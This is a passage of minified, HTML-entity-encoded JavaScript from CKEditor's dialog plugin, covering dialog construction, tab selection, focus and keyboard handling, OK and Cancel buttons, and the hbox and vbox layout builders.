{name:b,definition:g},a).definition;if(!(&quot;removeDialogTabs&quot;in a._)&amp;&amp;a.config.removeDialogTabs){h=a.config.removeDialogTabs.split(&quot;;&quot;);for(m=0;m&lt;h.length;m++)if(p=h[m].split(&quot;:&quot;),2==p.length){var r=p[0];k[r]||(k[r]=[]);k[r].push(p[1])}a._.removeDialogTabs=k}if(a._.removeDialogTabs&amp;&amp;(k=a._.removeDialogTabs[b]))for(m=0;m&lt;k.length;m++)g.removeContents(k[m]);if(g.onLoad)this.on(&quot;load&quot;,g.onLoad);if(g.onShow)this.on(&quot;show&quot;,g.onShow);if(g.onHide)this.on(&quot;hide&quot;,g.onHide);if(g.onOk)this.on(&quot;ok&quot;,function(b){a.fire(&quot;saveSnapshot&quot;);
setTimeout(function(){a.fire(&quot;saveSnapshot&quot;)},0);!1===g.onOk.call(this,b)&amp;&amp;(b.data.hide=!1)});this.state=CKEDITOR.DIALOG_STATE_IDLE;if(g.onCancel)this.on(&quot;cancel&quot;,function(a){!1===g.onCancel.call(this,a)&amp;&amp;(a.data.hide=!1)});var l=this,t=function(a){var b=l._.contents,c=!1,d;for(d in b)for(var e in b[d])if(c=a.call(this,b[d][e]))return};this.on(&quot;ok&quot;,function(a){t(function(b){if(b.validate){var c=b.validate(this),d=&quot;string&quot;==typeof c||!1===c;d&amp;&amp;(a.data.hide=!1,a.stop());T.call(b,!d,&quot;string&quot;==typeof c?
c:void 0);return d}})},this,null,0);this.on(&quot;cancel&quot;,function(b){t(function(c){if(c.isChanged())return a.config.dialog_noConfirmCancel||confirm(a.lang.common.confirmCancel)||(b.data.hide=!1),!0})},this,null,0);this.parts.close.on(&quot;click&quot;,function(a){!1!==this.fire(&quot;cancel&quot;,{hide:!0}).hide&amp;&amp;this.hide();a.data.preventDefault()},this);this.changeFocus=e;var y=this._.element;a.focusManager.add(y,1);this.on(&quot;show&quot;,function(){y.on(&quot;keydown&quot;,d,this);if(CKEDITOR.env.gecko)y.on(&quot;keypress&quot;,f,this)});this.on(&quot;hide&quot;,
function(){y.removeListener(&quot;keydown&quot;,d);CKEDITOR.env.gecko&amp;&amp;y.removeListener(&quot;keypress&quot;,f);t(function(a){U.apply(a)})});this.on(&quot;iframeAdded&quot;,function(a){(new CKEDITOR.dom.document(a.data.iframe.$.contentWindow.document)).on(&quot;keydown&quot;,d,this,null,0)});this.on(&quot;show&quot;,function(){c();var b=1&lt;l._.pageCount;a.config.dialog_startupFocusTab&amp;&amp;b?(l._.tabBarMode=!0,l._.tabs[l._.currentTabId][0].focus(),l._.currentFocusIndex=-1):this._.hasFocus||(this._.currentFocusIndex=b?-1:this._.focusList.length-1,g.onFocus?
(b=g.onFocus.call(this))&amp;&amp;b.focus():e(1))},this,null,4294967295);if(CKEDITOR.env.ie6Compat)this.on(&quot;load&quot;,function(){var a=this.getElement(),b=a.getFirst();b.remove();b.appendTo(a)},this);Y(this);Z(this);(new CKEDITOR.dom.text(g.title,CKEDITOR.document)).appendTo(this.parts.title);for(m=0;m&lt;g.contents.length;m++)(k=g.contents[m])&amp;&amp;this.addPage(k);this.parts.tabs.on(&quot;click&quot;,function(a){var b=a.data.getTarget();b.hasClass(&quot;cke_dialog_tab&quot;)&amp;&amp;(b=b.$.id,this.selectPage(b.substring(4,b.lastIndexOf(&quot;_&quot;))),
this._.tabBarMode&amp;&amp;(this._.tabBarMode=!1,this._.currentFocusIndex=-1,e(1)),a.data.preventDefault())},this);m=[];k=CKEDITOR.dialog._.uiElementBuilders.hbox.build(this,{type:&quot;hbox&quot;,className:&quot;cke_dialog_footer_buttons&quot;,widths:[],children:g.buttons},m).getChild();this.parts.footer.setHtml(m.join(&quot;&quot;));for(m=0;m&lt;k.length;m++)this._.buttons[k[m].id]=k[m]};CKEDITOR.dialog.prototype={destroy:function(){this.hide();this._.element.remove()},resize:function(){return function(a,b){this._.contentSize&amp;&amp;this._.contentSize.width==
a&amp;&amp;this._.contentSize.height==b||(CKEDITOR.dialog.fire(&quot;resize&quot;,{dialog:this,width:a,height:b},this._.editor),this.fire(&quot;resize&quot;,{width:a,height:b},this._.editor),this.parts.contents.setStyles({width:a+&quot;px&quot;,height:b+&quot;px&quot;}),&quot;rtl&quot;==this._.editor.lang.dir&amp;&amp;this._.position&amp;&amp;(this._.position.x=CKEDITOR.document.getWindow().getViewPaneSize().width-this._.contentSize.width-parseInt(this._.element.getFirst().getStyle(&quot;right&quot;),10)),this._.contentSize={width:a,height:b})}}(),getSize:function(){var a=this._.element.getFirst();
return{width:a.$.offsetWidth||0,height:a.$.offsetHeight||0}},move:function(a,b,c){var e=this._.element.getFirst(),d=&quot;rtl&quot;==this._.editor.lang.dir,f=&quot;fixed&quot;==e.getComputedStyle(&quot;position&quot;);CKEDITOR.env.ie&amp;&amp;e.setStyle(&quot;zoom&quot;,&quot;100%&quot;);f&amp;&amp;this._.position&amp;&amp;this._.position.x==a&amp;&amp;this._.position.y==b||(this._.position={x:a,y:b},f||(f=CKEDITOR.document.getWindow().getScrollPosition(),a+=f.x,b+=f.y),d&amp;&amp;(f=this.getSize(),a=CKEDITOR.document.getWindow().getViewPaneSize().width-f.width-a),b={top:(0&lt;b?b:0)+&quot;px&quot;},
b[d?&quot;right&quot;:&quot;left&quot;]=(0&lt;a?a:0)+&quot;px&quot;,e.setStyles(b),c&amp;&amp;(this._.moved=1))},getPosition:function(){return CKEDITOR.tools.extend({},this._.position)},show:function(){var a=this._.element,b=this.definition;a.getParent()&amp;&amp;a.getParent().equals(CKEDITOR.document.getBody())?a.setStyle(&quot;display&quot;,&quot;block&quot;):a.appendTo(CKEDITOR.document.getBody());this.resize(this._.contentSize&amp;&amp;this._.contentSize.width||b.width||b.minWidth,this._.contentSize&amp;&amp;this._.contentSize.height||b.height||b.minHeight);this.reset();null===
this._.currentTabId&amp;&amp;this.selectPage(this.definition.contents[0].id);null===CKEDITOR.dialog._.currentZIndex&amp;&amp;(CKEDITOR.dialog._.currentZIndex=this._.editor.config.baseFloatZIndex);this._.element.getFirst().setStyle(&quot;z-index&quot;,CKEDITOR.dialog._.currentZIndex+=10);null===CKEDITOR.dialog._.currentTop?(CKEDITOR.dialog._.currentTop=this,this._.parentDialog=null,N(this._.editor)):(this._.parentDialog=CKEDITOR.dialog._.currentTop,this._.parentDialog.getElement().getFirst().$.style.zIndex-=Math.floor(this._.editor.config.baseFloatZIndex/
2),CKEDITOR.dialog._.currentTop=this);a.on(&quot;keydown&quot;,Q);a.on(&quot;keyup&quot;,R);this._.hasFocus=!1;for(var c in b.contents)if(b.contents[c]){var a=b.contents[c],e=this._.tabs[a.id],d=a.requiredContent,f=0;if(e){for(var g in this._.contents[a.id]){var h=this._.contents[a.id][g];&quot;hbox&quot;!=h.type&amp;&amp;&quot;vbox&quot;!=h.type&amp;&amp;h.getInputElement()&amp;&amp;(h.requiredContent&amp;&amp;!this._.editor.activeFilter.check(h.requiredContent)?h.disable():(h.enable(),f++))}!f||d&amp;&amp;!this._.editor.activeFilter.check(d)?e[0].addClass(&quot;cke_dialog_tab_disabled&quot;):
e[0].removeClass(&quot;cke_dialog_tab_disabled&quot;)}}CKEDITOR.tools.setTimeout(function(){this.layout();X(this);this.parts.dialog.setStyle(&quot;visibility&quot;,&quot;&quot;);this.fireOnce(&quot;load&quot;,{});CKEDITOR.ui.fire(&quot;ready&quot;,this);this.fire(&quot;show&quot;,{});this._.editor.fire(&quot;dialogShow&quot;,this);this._.parentDialog||this._.editor.focusManager.lock();this.foreach(function(a){a.setInitValue&amp;&amp;a.setInitValue()})},100,this)},layout:function(){var a=this.parts.dialog,b=this.getSize(),c=CKEDITOR.document.getWindow().getViewPaneSize(),e=
(c.width-b.width)/2,d=(c.height-b.height)/2;CKEDITOR.env.ie6Compat||(b.height+(0&lt;d?d:0)&gt;c.height||b.width+(0&lt;e?e:0)&gt;c.width?a.setStyle(&quot;position&quot;,&quot;absolute&quot;):a.setStyle(&quot;position&quot;,&quot;fixed&quot;));this.move(this._.moved?this._.position.x:e,this._.moved?this._.position.y:d)},foreach:function(a){for(var b in this._.contents)for(var c in this._.contents[b])a.call(this,this._.contents[b][c]);return this},reset:function(){var a=function(a){a.reset&amp;&amp;a.reset(1)};return function(){this.foreach(a);return this}}(),
setupContent:function(){var a=arguments;this.foreach(function(b){b.setup&amp;&amp;b.setup.apply(b,a)})},commitContent:function(){var a=arguments;this.foreach(function(b){CKEDITOR.env.ie&amp;&amp;this._.currentFocusIndex==b.focusIndex&amp;&amp;b.getInputElement().$.blur();b.commit&amp;&amp;b.commit.apply(b,a)})},hide:function(){if(this.parts.dialog.isVisible()){this.fire(&quot;hide&quot;,{});this._.editor.fire(&quot;dialogHide&quot;,this);this.selectPage(this._.tabIdList[0]);var a=this._.element;a.setStyle(&quot;display&quot;,&quot;none&quot;);this.parts.dialog.setStyle(&quot;visibility&quot;,
&quot;hidden&quot;);for(ba(this);CKEDITOR.dialog._.currentTop!=this;)CKEDITOR.dialog._.currentTop.hide();if(this._.parentDialog){var b=this._.parentDialog.getElement().getFirst();b.setStyle(&quot;z-index&quot;,parseInt(b.$.style.zIndex,10)+Math.floor(this._.editor.config.baseFloatZIndex/2))}else O(this._.editor);if(CKEDITOR.dialog._.currentTop=this._.parentDialog)CKEDITOR.dialog._.currentZIndex-=10;else{CKEDITOR.dialog._.currentZIndex=null;a.removeListener(&quot;keydown&quot;,Q);a.removeListener(&quot;keyup&quot;,R);var c=this._.editor;
c.focus();setTimeout(function(){c.focusManager.unlock();CKEDITOR.env.iOS&amp;&amp;c.window.focus()},0)}delete this._.parentDialog;this.foreach(function(a){a.resetInitValue&amp;&amp;a.resetInitValue()});this.setState(CKEDITOR.DIALOG_STATE_IDLE)}},addPage:function(a){if(!a.requiredContent||this._.editor.filter.check(a.requiredContent)){for(var b=[],c=a.label?&#039; title\x3d&quot;&#039;+CKEDITOR.tools.htmlEncode(a.label)+&#039;&quot;&#039;:&quot;&quot;,e=CKEDITOR.dialog._.uiElementBuilders.vbox.build(this,{type:&quot;vbox&quot;,className:&quot;cke_dialog_page_contents&quot;,
children:a.elements,expand:!!a.expand,padding:a.padding,style:a.style||&quot;width: 100%;&quot;},b),d=this._.contents[a.id]={},f=e.getChild(),g=0;e=f.shift();)e.notAllowed||&quot;hbox&quot;==e.type||&quot;vbox&quot;==e.type||g++,d[e.id]=e,&quot;function&quot;==typeof e.getChild&amp;&amp;f.push.apply(f,e.getChild());g||(a.hidden=!0);b=CKEDITOR.dom.element.createFromHtml(b.join(&quot;&quot;));b.setAttribute(&quot;role&quot;,&quot;tabpanel&quot;);e=CKEDITOR.env;d=&quot;cke_&quot;+a.id+&quot;_&quot;+CKEDITOR.tools.getNextNumber();c=CKEDITOR.dom.element.createFromHtml([&#039;\x3ca class\x3d&quot;cke_dialog_tab&quot;&#039;,
0&lt;this._.pageCount?&quot; cke_last&quot;:&quot;cke_first&quot;,c,a.hidden?&#039; style\x3d&quot;display:none&quot;&#039;:&quot;&quot;,&#039; id\x3d&quot;&#039;,d,&#039;&quot;&#039;,e.gecko&amp;&amp;!e.hc?&quot;&quot;:&#039; href\x3d&quot;javascript:void(0)&quot;&#039;,&#039; tabIndex\x3d&quot;-1&quot; hidefocus\x3d&quot;true&quot; role\x3d&quot;tab&quot;\x3e&#039;,a.label,&quot;\x3c/a\x3e&quot;].join(&quot;&quot;));b.setAttribute(&quot;aria-labelledby&quot;,d);this._.tabs[a.id]=[c,b];this._.tabIdList.push(a.id);!a.hidden&amp;&amp;this._.pageCount++;this._.lastTab=c;this.updateStyle();b.setAttribute(&quot;name&quot;,a.id);b.appendTo(this.parts.contents);c.unselectable();this.parts.tabs.append(c);a.accessKey&amp;&amp;
(S(this,this,&quot;CTRL+&quot;+a.accessKey,ca,da),this._.accessKeyMap[&quot;CTRL+&quot;+a.accessKey]=a.id)}},selectPage:function(a){if(this._.currentTabId!=a&amp;&amp;!this._.tabs[a][0].hasClass(&quot;cke_dialog_tab_disabled&quot;)&amp;&amp;!1!==this.fire(&quot;selectPage&quot;,{page:a,currentPage:this._.currentTabId})){for(var b in this._.tabs){var c=this._.tabs[b][0],e=this._.tabs[b][1];b!=a&amp;&amp;(c.removeClass(&quot;cke_dialog_tab_selected&quot;),e.hide());e.setAttribute(&quot;aria-hidden&quot;,b!=a)}var d=this._.tabs[a];d[0].addClass(&quot;cke_dialog_tab_selected&quot;);CKEDITOR.env.ie6Compat||
CKEDITOR.env.ie7Compat?(K(d[1]),d[1].show(),setTimeout(function(){K(d[1],1)},0)):d[1].show();this._.currentTabId=a;this._.currentTabIndex=CKEDITOR.tools.indexOf(this._.tabIdList,a)}},updateStyle:function(){this.parts.dialog[(1===this._.pageCount?&quot;add&quot;:&quot;remove&quot;)+&quot;Class&quot;](&quot;cke_single_page&quot;)},hidePage:function(a){var b=this._.tabs[a]&amp;&amp;this._.tabs[a][0];b&amp;&amp;1!=this._.pageCount&amp;&amp;b.isVisible()&amp;&amp;(a==this._.currentTabId&amp;&amp;this.selectPage(x.call(this)),b.hide(),this._.pageCount--,this.updateStyle())},showPage:function(a){if(a=
this._.tabs[a]&amp;&amp;this._.tabs[a][0])a.show(),this._.pageCount++,this.updateStyle()},getElement:function(){return this._.element},getName:function(){return this._.name},getContentElement:function(a,b){var c=this._.contents[a];return c&amp;&amp;c[b]},getValueOf:function(a,b){return this.getContentElement(a,b).getValue()},setValueOf:function(a,b,c){return this.getContentElement(a,b).setValue(c)},getButton:function(a){return this._.buttons[a]},click:function(a){return this._.buttons[a].click()},disableButton:function(a){return this._.buttons[a].disable()},
enableButton:function(a){return this._.buttons[a].enable()},getPageCount:function(){return this._.pageCount},getParentEditor:function(){return this._.editor},getSelectedElement:function(){return this.getParentEditor().getSelection().getSelectedElement()},addFocusable:function(a,b){if(&quot;undefined&quot;==typeof b)b=this._.focusList.length,this._.focusList.push(new L(this,a,b));else{this._.focusList.splice(b,0,new L(this,a,b));for(var c=b+1;c&lt;this._.focusList.length;c++)this._.focusList[c].focusIndex++}},
setState:function(a){if(this.state!=a){this.state=a;if(a==CKEDITOR.DIALOG_STATE_BUSY){if(!this.parts.spinner){var b=this.getParentEditor().lang.dir,c={attributes:{&quot;class&quot;:&quot;cke_dialog_spinner&quot;},styles:{&quot;float&quot;:&quot;rtl&quot;==b?&quot;right&quot;:&quot;left&quot;}};c.styles[&quot;margin-&quot;+(&quot;rtl&quot;==b?&quot;left&quot;:&quot;right&quot;)]=&quot;8px&quot;;this.parts.spinner=CKEDITOR.document.createElement(&quot;div&quot;,c);this.parts.spinner.setHtml(&quot;\x26#8987;&quot;);this.parts.spinner.appendTo(this.parts.title,1)}this.parts.spinner.show();this.getButton(&quot;ok&quot;).disable()}else a==
CKEDITOR.DIALOG_STATE_IDLE&amp;&amp;(this.parts.spinner&amp;&amp;this.parts.spinner.hide(),this.getButton(&quot;ok&quot;).enable());this.fire(&quot;state&quot;,a)}}};CKEDITOR.tools.extend(CKEDITOR.dialog,{add:function(a,b){this._.dialogDefinitions[a]&amp;&amp;&quot;function&quot;!=typeof b||(this._.dialogDefinitions[a]=b)},exists:function(a){return!!this._.dialogDefinitions[a]},getCurrent:function(){return CKEDITOR.dialog._.currentTop},isTabEnabled:function(a,b,c){a=a.config.removeDialogTabs;return!(a&amp;&amp;a.match(new RegExp(&quot;(?:^|;)&quot;+b+&quot;:&quot;+c+&quot;(?:$|;)&quot;,
&quot;i&quot;)))},okButton:function(){var a=function(a,c){c=c||{};return CKEDITOR.tools.extend({id:&quot;ok&quot;,type:&quot;button&quot;,label:a.lang.common.ok,&quot;class&quot;:&quot;cke_dialog_ui_button_ok&quot;,onClick:function(a){a=a.data.dialog;!1!==a.fire(&quot;ok&quot;,{hide:!0}).hide&amp;&amp;a.hide()}},c,!0)};a.type=&quot;button&quot;;a.override=function(b){return CKEDITOR.tools.extend(function(c){return a(c,b)},{type:&quot;button&quot;},!0)};return a}(),cancelButton:function(){var a=function(a,c){c=c||{};return CKEDITOR.tools.extend({id:&quot;cancel&quot;,type:&quot;button&quot;,label:a.lang.common.cancel,
&quot;class&quot;:&quot;cke_dialog_ui_button_cancel&quot;,onClick:function(a){a=a.data.dialog;!1!==a.fire(&quot;cancel&quot;,{hide:!0}).hide&amp;&amp;a.hide()}},c,!0)};a.type=&quot;button&quot;;a.override=function(b){return CKEDITOR.tools.extend(function(c){return a(c,b)},{type:&quot;button&quot;},!0)};return a}(),addUIElement:function(a,b){this._.uiElementBuilders[a]=b}});CKEDITOR.dialog._={uiElementBuilders:{},dialogDefinitions:{},currentTop:null,currentZIndex:null};CKEDITOR.event.implementOn(CKEDITOR.dialog);CKEDITOR.event.implementOn(CKEDITOR.dialog.prototype);
var aa={resizable:CKEDITOR.DIALOG_RESIZE_BOTH,minWidth:600,minHeight:400,buttons:[CKEDITOR.dialog.okButton,CKEDITOR.dialog.cancelButton]},D=function(a,b,c){for(var e=0,d;d=a[e];e++)if(d.id==b||c&amp;&amp;d[c]&amp;&amp;(d=D(d[c],b,c)))return d;return null},E=function(a,b,c,e,d){if(c){for(var f=0,g;g=a[f];f++){if(g.id==c)return a.splice(f,0,b),b;if(e&amp;&amp;g[e]&amp;&amp;(g=E(g[e],b,c,e,!0)))return g}if(d)return null}a.push(b);return b},F=function(a,b,c){for(var e=0,d;d=a[e];e++){if(d.id==b)return a.splice(e,1);if(c&amp;&amp;d[c]&amp;&amp;(d=F(d[c],
b,c)))return d}return null},P=function(a,b){this.dialog=a;for(var c=b.contents,e=0,d;d=c[e];e++)c[e]=d&amp;&amp;new M(a,d);CKEDITOR.tools.extend(this,b)};P.prototype={getContents:function(a){return D(this.contents,a)},getButton:function(a){return D(this.buttons,a)},addContents:function(a,b){return E(this.contents,a,b)},addButton:function(a,b){return E(this.buttons,a,b)},removeContents:function(a){F(this.contents,a)},removeButton:function(a){F(this.buttons,a)}};M.prototype={get:function(a){return D(this.elements,
a,&quot;children&quot;)},add:function(a,b){return E(this.elements,a,b,&quot;children&quot;)},remove:function(a){F(this.elements,a,&quot;children&quot;)}};var J,z={},u,w={},Q=function(a){var b=a.data.$.ctrlKey||a.data.$.metaKey,c=a.data.$.altKey,e=a.data.$.shiftKey,d=String.fromCharCode(a.data.$.keyCode);(b=w[(b?&quot;CTRL+&quot;:&quot;&quot;)+(c?&quot;ALT+&quot;:&quot;&quot;)+(e?&quot;SHIFT+&quot;:&quot;&quot;)+d])&amp;&amp;b.length&amp;&amp;(b=b[b.length-1],b.keydown&amp;&amp;b.keydown.call(b.uiElement,b.dialog,b.key),a.data.preventDefault())},R=function(a){var b=a.data.$.ctrlKey||a.data.$.metaKey,c=a.data.$.altKey,
e=a.data.$.shiftKey,d=String.fromCharCode(a.data.$.keyCode);(b=w[(b?&quot;CTRL+&quot;:&quot;&quot;)+(c?&quot;ALT+&quot;:&quot;&quot;)+(e?&quot;SHIFT+&quot;:&quot;&quot;)+d])&amp;&amp;b.length&amp;&amp;(b=b[b.length-1],b.keyup&amp;&amp;(b.keyup.call(b.uiElement,b.dialog,b.key),a.data.preventDefault()))},S=function(a,b,c,e,d){(w[c]||(w[c]=[])).push({uiElement:a,dialog:b,key:c,keyup:d||a.accessKeyUp,keydown:e||a.accessKeyDown})},ba=function(a){for(var b in w){for(var c=w[b],e=c.length-1;0&lt;=e;e--)c[e].dialog!=a&amp;&amp;c[e].uiElement!=a||c.splice(e,1);0===c.length&amp;&amp;delete w[b]}},da=function(a,
b){a._.accessKeyMap[b]&amp;&amp;a.selectPage(a._.accessKeyMap[b])},ca=function(){};(function(){CKEDITOR.ui.dialog={uiElement:function(a,b,c,e,d,f,g){if(!(4&gt;arguments.length)){var h=(e.call?e(b):e)||&quot;div&quot;,p=[&quot;\x3c&quot;,h,&quot; &quot;],m=(d&amp;&amp;d.call?d(b):d)||{},k=(f&amp;&amp;f.call?f(b):f)||{},q=(g&amp;&amp;g.call?g.call(this,a,b):g)||&quot;&quot;,n=this.domId=k.id||CKEDITOR.tools.getNextId()+&quot;_uiElement&quot;;b.requiredContent&amp;&amp;!a.getParentEditor().filter.check(b.requiredContent)&amp;&amp;(m.display=&quot;none&quot;,this.notAllowed=!0);k.id=n;var r={};b.type&amp;&amp;(r[&quot;cke_dialog_ui_&quot;+
b.type]=1);b.className&amp;&amp;(r[b.className]=1);b.disabled&amp;&amp;(r.cke_disabled=1);for(var l=k[&quot;class&quot;]&amp;&amp;k[&quot;class&quot;].split?k[&quot;class&quot;].split(&quot; &quot;):[],n=0;n&lt;l.length;n++)l[n]&amp;&amp;(r[l[n]]=1);l=[];for(n in r)l.push(n);k[&quot;class&quot;]=l.join(&quot; &quot;);b.title&amp;&amp;(k.title=b.title);r=(b.style||&quot;&quot;).split(&quot;;&quot;);b.align&amp;&amp;(l=b.align,m[&quot;margin-left&quot;]=&quot;left&quot;==l?0:&quot;auto&quot;,m[&quot;margin-right&quot;]=&quot;right&quot;==l?0:&quot;auto&quot;);for(n in m)r.push(n+&quot;:&quot;+m[n]);b.hidden&amp;&amp;r.push(&quot;display:none&quot;);for(n=r.length-1;0&lt;=n;n--)&quot;&quot;===r[n]&amp;&amp;r.splice(n,1);0&lt;r.length&amp;&amp;(k.style=
(k.style?k.style+&quot;; &quot;:&quot;&quot;)+r.join(&quot;; &quot;));for(n in k)p.push(n+&#039;\x3d&quot;&#039;+CKEDITOR.tools.htmlEncode(k[n])+&#039;&quot; &#039;);p.push(&quot;\x3e&quot;,q,&quot;\x3c/&quot;,h,&quot;\x3e&quot;);c.push(p.join(&quot;&quot;));(this._||(this._={})).dialog=a;&quot;boolean&quot;==typeof b.isChanged&amp;&amp;(this.isChanged=function(){return b.isChanged});&quot;function&quot;==typeof b.isChanged&amp;&amp;(this.isChanged=b.isChanged);&quot;function&quot;==typeof b.setValue&amp;&amp;(this.setValue=CKEDITOR.tools.override(this.setValue,function(a){return function(c){a.call(this,b.setValue.call(this,c))}}));&quot;function&quot;==typeof b.getValue&amp;&amp;
(this.getValue=CKEDITOR.tools.override(this.getValue,function(a){return function(){return b.getValue.call(this,a.call(this))}}));CKEDITOR.event.implementOn(this);this.registerEvents(b);this.accessKeyUp&amp;&amp;this.accessKeyDown&amp;&amp;b.accessKey&amp;&amp;S(this,a,&quot;CTRL+&quot;+b.accessKey);var t=this;a.on(&quot;load&quot;,function(){var b=t.getInputElement();if(b){var c=t.type in{checkbox:1,ratio:1}&amp;&amp;CKEDITOR.env.ie&amp;&amp;8&gt;CKEDITOR.env.version?&quot;cke_dialog_ui_focused&quot;:&quot;&quot;;b.on(&quot;focus&quot;,function(){a._.tabBarMode=!1;a._.hasFocus=!0;t.fire(&quot;focus&quot;);
c&amp;&amp;this.addClass(c)});b.on(&quot;blur&quot;,function(){t.fire(&quot;blur&quot;);c&amp;&amp;this.removeClass(c)})}});CKEDITOR.tools.extend(this,b);this.keyboardFocusable&amp;&amp;(this.tabIndex=b.tabIndex||0,this.focusIndex=a._.focusList.push(this)-1,this.on(&quot;focus&quot;,function(){a._.currentFocusIndex=t.focusIndex}))}},hbox:function(a,b,c,e,d){if(!(4&gt;arguments.length)){this._||(this._={});var f=this._.children=b,g=d&amp;&amp;d.widths||null,h=d&amp;&amp;d.height||null,p,m={role:&quot;presentation&quot;};d&amp;&amp;d.align&amp;&amp;(m.align=d.align);CKEDITOR.ui.dialog.uiElement.call(this,
a,d||{type:&quot;hbox&quot;},e,&quot;table&quot;,{},m,function(){var a=[&#039;\x3ctbody\x3e\x3ctr class\x3d&quot;cke_dialog_ui_hbox&quot;\x3e&#039;];for(p=0;p&lt;c.length;p++){var b=&quot;cke_dialog_ui_hbox_child&quot;,e=[];0===p&amp;&amp;(b=&quot;cke_dialog_ui_hbox_first&quot;);p==c.length-1&amp;&amp;(b=&quot;cke_dialog_ui_hbox_last&quot;);a.push(&#039;\x3ctd class\x3d&quot;&#039;,b,&#039;&quot; role\x3d&quot;presentation&quot; &#039;);g?g[p]&amp;&amp;e.push(&quot;width:&quot;+v(g[p])):e.push(&quot;width:&quot;+Math.floor(100/c.length)+&quot;%&quot;);h&amp;&amp;e.push(&quot;height:&quot;+v(h));d&amp;&amp;void 0!==d.padding&amp;&amp;e.push(&quot;padding:&quot;+v(d.padding));CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks&amp;&amp;
f[p].align&amp;&amp;e.push(&quot;text-align:&quot;+f[p].align);0&lt;e.length&amp;&amp;a.push(&#039;style\x3d&quot;&#039;+e.join(&quot;; &quot;)+&#039;&quot; &#039;);a.push(&quot;\x3e&quot;,c[p],&quot;\x3c/td\x3e&quot;)}a.push(&quot;\x3c/tr\x3e\x3c/tbody\x3e&quot;);return a.join(&quot;&quot;)})}},vbox:function(a,b,c,e,d){if(!(3&gt;arguments.length)){this._||(this._={});var f=this._.children=b,g=d&amp;&amp;d.width||null,h=d&amp;&amp;d.heights||null;CKEDITOR.ui.dialog.uiElement.call(this,a,d||{type:&quot;vbox&quot;},e,&quot;div&quot;,null,{role:&quot;presentation&quot;},function(){var b=[&#039;\x3ctable role\x3d&quot;presentation&quot; cellspacing\x3d&quot;0&quot; border\x3d&quot;0&quot; &#039;];
b.push(&#039;style\x3d&quot;&#039;);d&amp;&amp;d.expand&amp;&amp;b.push(&quot;height:100%;&quot;);b.push(&quot;width:&quot;+v(g||&quot;100%&quot;),&quot;;&quot;);CKEDITOR.env.webkit&amp;&amp;b.push(&quot;float:none;&quot;);b.push(&#039;&quot;&#039;);b.push(&#039;align\x3d&quot;&#039;,CKEDITOR.tools.htmlEncode(d&amp;&amp;d.align||(&quot;ltr&quot;==a.getParentEditor().lang.dir?&quot;left&quot;:&quot;right&quot;)),&#039;&quot; &#039;);b.push(&quot;\x3e\x3ctbody\x3e&quot;);for(var e=0;e&lt;c.length;e++){var k=[];b.push(&#039;\x3ctr\x3e\x3ctd role\x3d&quot;presentation&quot; &#039;);g&amp;&amp;k.push(&quot;width:&quot;+v(g||&quot;100%&quot;));h?k.push(&quot;height:&quot;+v(h[e])):d&amp;&amp;d.expand&amp;&amp;k.push(&quot;height:&quot;+Math.floor(100/c.length)+&quot;%&quot;);
d&amp;&amp;void 0!==d.padding&amp;&amp;k.push(&quot;padding:&quot;+v(d.padding));CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks&amp;&amp;f[e].align&amp;&amp;k.push(&quot;text-align:&quot;+f[e].align);0&lt;k.length&amp;&amp;b.push(&#039;style\x3d&quot;&#039;,k.join(&quot;; &quot;),&#039;&quot; &#039;);b.push(&#039; class\x3d&quot;cke_dialog_ui_vbox_child&quot;\x3e&#039;,c[e],&quot;\x3c/td\x3e\x3c/tr\x3e&quot;)}b.push(&quot;\x3c/tbody\x3e\x3c/table\x3e&quot;);return b.join(&quot;&quot;)})}}}})();CKEDITOR.ui.dialog.uiElement.prototype={getElement:function(){return CKEDITOR.document.getById(this.domId)},getInputElement:function(){return this.getElement()},getDialog:function(){return this._.dialog},
setValue:function(a,b){this.getInputElement().setValue(a);!b&amp;&amp;this.fire(&quot;change&quot;,{value:a});return this},getValue:function(){return this.getInputElement().getValue()},isChanged:function(){return!1},selectParentTab:function(){for(var a=this.getInputElement();(a=a.getParent())&amp;&amp;-1==a.$.className.search(&quot;cke_dialog_page_contents&quot;););if(!a)return this;a=a.getAttribute(&quot;name&quot;);this._.dialog._.currentTabId!=a&amp;&amp;this._.dialog.selectPage(a);return this},focus:function(){this.selectParentTab().getInputElement().focus();
return this},registerEvents:function(a){var b=/^on([A-Z]\w+)/,c,e=function(a,b,c,d){b.on(&quot;load&quot;,function(){a.getInputElement().on(c,d,a)})},d;for(d in a)if(c=d.match(b))this.eventProcessors[d]?this.eventProcessors[d].call(this,this._.dialog,a[d]):e(this,this._.dialog,c[1].toLowerCase(),a[d]);return this},eventProcessors:{onLoad:function(a,b){a.on(&quot;load&quot;,b,this)},onShow:function(a,b){a.on(&quot;show&quot;,b,this)},onHide:function(a,b){a.on(&quot;hide&quot;,b,this)}},accessKeyDown:function(){this.focus()},accessKeyUp:function(){},
disable:function(){var a=this.getElement();this.getInputElement().setAttribute(&quot;disabled&quot;,&quot;true&quot;);a.addClass(&quot;cke_disabled&quot;)},enable:function(){var a=this.getElement();this.getInputElement().removeAttribute(&quot;disabled&quot;);a.removeClass(&quot;cke_disabled&quot;)},isEnabled:function(){return!this.getElement().hasClass(&quot;cke_disabled&quot;)},isVisible:function(){return this.getInputElement().isVisible()},isFocusable:function(){return this.isEnabled()&amp;&amp;this.isVisible()?!0:!1}};CKEDITOR.ui.dialog.hbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,
{getChild:function(a){if(1&gt;arguments.length)return this._.children.concat();a.splice||(a=[a]);return 2&gt;a.length?this._.children[a[0]]:this._.children[a[0]]&amp;&amp;this._.children[a[0]].getChild?this._.children[a[0]].getChild(a.slice(1,a.length)):null}},!0);CKEDITOR.ui.dialog.vbox.prototype=new CKEDITOR.ui.dialog.hbox;(function(){var a={build:function(a,c,e){for(var d=c.children,f,g=[],h=[],p=0;p&lt;d.length&amp;&amp;(f=d[p]);p++){var m=[];g.push(m);h.push(CKEDITOR.dialog._.uiElementBuilders[f.type].build(a,f,m))}return new CKEDITOR.ui.dialog[c.type](a,
